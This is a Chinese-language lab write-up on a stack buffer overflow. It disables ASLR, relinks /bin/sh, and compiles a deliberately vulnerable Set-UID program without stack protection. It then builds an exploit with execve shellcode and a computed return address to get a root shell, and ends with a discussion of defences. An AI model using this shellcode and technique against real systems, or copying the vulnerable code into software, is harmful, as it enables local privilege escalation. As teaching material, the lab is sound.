实验七-缓冲区溢出

实验准备

实验楼提供的是 64 位 Ubuntu linux，而本次实验为了方便观察汇编语句，我们需要在 32 位环境下作操作，因此实验之前需要做一些准备。

输入命令安装一些用于编译 32 位 C 程序的软件包：
sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y gdb

注意事项

1、Ubuntu 和其他一些 Linux 系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用以下命令关闭这一功能：

sudo sysctl -w kernel.randomize_va_space=0
copy

2、此外，为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个 Set-UID 程序调用一个 shell，也不能在这个 shell 中保持 root 权限，这个防护措施在 /bin/bash 中实现。

linux 系统中，/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个 shell 程序（zsh）代替 /bin/bash。下面的指令描述了如何设置 zsh 程序：

sudo su
cd /bin
rm sh
ln -s zsh sh
exit
copy

3、输入命令 linux32 进入32位linux环境。此时你会发现，命令行用起来没那么爽了，比如不能tab补全了，输入 /bin/bash 使用bash.

shellcode：

一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是 shellcode。

观察以下代码：

点击查看代码

#include <stdio.h>
int main()
{
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}

本次实验的 shellcode，就是刚才代码的汇编版本：

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

实验过程

漏洞程序设置

在 /tmp 目录下新建一个 stack.c 文件：

cd /tmp
vim stack.c
copy
按 i 键切换到插入模式，再输入如下内容：

复制代码如果出现缩进混乱可先在 Vim 执行 :set paste 再按 i 键编辑。

/* stack.c */

/* This program has a buffer overflow vulnerability. /
/ Our task is to exploit this vulnerability */

点击查看代码

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。

编译该程序，并设置 SET-UID。命令如下：

sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit
copy
GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。

-g 参数是为了使编译后得到的可执行文档能用 gdb 调试。

攻击程序设置

我们的目的是攻击刚才的漏洞程序，并通过攻击获得 root 权限。

在 /tmp 目录下新建一个 exploit.c 文件，输入如下内容：

/

点击查看代码

* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer，偏移量设为了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

或者也可以直接下载代码：

wget http://labfile.oss.aliyuncs.com/courses/231/exploit.c
copy
注意上面的代码，\x??\x??\x??\x?? 处需要添上 shellcode 保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode 保存在 buffer + 100 的位置。下面我们将详细介绍如何获得我们需要添加的地址。

现在我们要得到 shellcode 在内存中的地址，输入命令进入 gdb 调试：

gdb stack
disass main
copy
结果如图：

esp 中就是 str 的起始地址，所以我们在地址 0x080484ee 处设置断点。

地址可能不一致，请根据你的显示结果自行修改。

接下来的操作：

设置断点

b *0x080484ee
r
i r $esp
copy

最后获得的这个 0xffffcfb0 就是 str 的地址。

按 q 键，再按 y 键可退出调试。

根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffcfb0 + 0x64 = 0xffffd014

实际操作中你的地址和我这里的地址可能不一样，需要根据你实际输出的结果来计算。

可以使用 十六进制加法计算器 计算。

现在修改 exploit.c 文件，将 \x??\x??\x??\x?? 修改为计算的结果 （这里是：\x14\xd0\xff\xff），注意顺序是反的。

然后，编译 exploit.c 程序：

gcc -m32 -o exploit exploit.c

END

先运行攻击程序 exploit，再运行漏洞程序 stack，观察结果：

whoami 是输入的命令，不是输出结果。

可见，通过攻击，获得了root 权限！

注：如果不能攻击成功，提示”段错误“，那么请重新使用 gdb 反汇编，计算内存地址。

缓冲区溢出的原理：

计算机程序一般都会使用到一些内存，这些内存或是程序内部使用，或是存放用户的输入数据，这样的内存一般称作缓冲区。溢出是指盛放的东西超出容器容量而溢出来了，在计算机程序中，就是数据使用到了被分配内存空间之外的内存空间。而缓冲区溢出，简单的说就是计算机对接收的输入数据没有进行有效的检测（理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符），向缓冲区内填充数据时超过了缓冲区本身的容量，而导致数据溢出到被分配空间之外的内存空间，使得溢出的数据覆盖了其他内存空间的数据。
于是我们可以通过往程序的缓冲区写超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，造成程序崩溃或使程序转而执行其它指令，以达到攻击的目的。
或者换一种说法：
缓冲区是内存中存放数据的地方。在程序试图将数据放到机器内存中的某一个位置的时候，因为没有足够的空间就会发生缓冲区溢出。而人为的溢出则是有一定企图的，攻击者写一个超过缓冲区长度的字符串，植入到缓冲区，然后再向一个有限空间的缓冲区中植入超长的字符串，这时可能会出现两个结果：一是过长的字符串覆盖了相邻的存储单元，引起程序运行失败，严重的可导致系统崩溃；另一个结果就是利用这种漏洞可以执行任意指令，甚至可以取得系统root特级权限。
缓冲区是程序运行的时候机器内存中的一个连续块，它保存了给定类型的数据，随着动态分配变量会出现问题。大多时为了不占用太多的内存，一个有动态分配变量的程序在程序运行时才决定给它们分配多少内存。如果程序在动态分配缓冲区放入超长的数据，它就会溢出了。一个缓冲区溢出程序使用这个溢出的数据将汇编语言代码放到机器的内存里，通常是产生root权限的地方。仅仅单个的缓冲区溢出并不是问题的根本所在。但如果溢出送到能够以root权限运行命令的区域，一旦运行这些命令，那可就等于把机器拱手相让了。
造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。

缓冲区溢出的防范

变量分配地址随机

在实验开始的注意事项中我们可以明白Ubuntu系统自带的防范措施使得我们难以确定内存地址，是一种很好的防护手段。

金丝雀数法

在缓存区特定（系统已知，不是“固定”）并且有标记功效的缓存区域设置特定的数字，在运行之前检查金丝雀数有无改动。

白名单法

输入规范的才能被读取，有攻击倾向的输入不被允入。

控制区块法

编译器在规定的缓存区允许读写，其他区块只读或者只写，通过设置权限保障用户安全。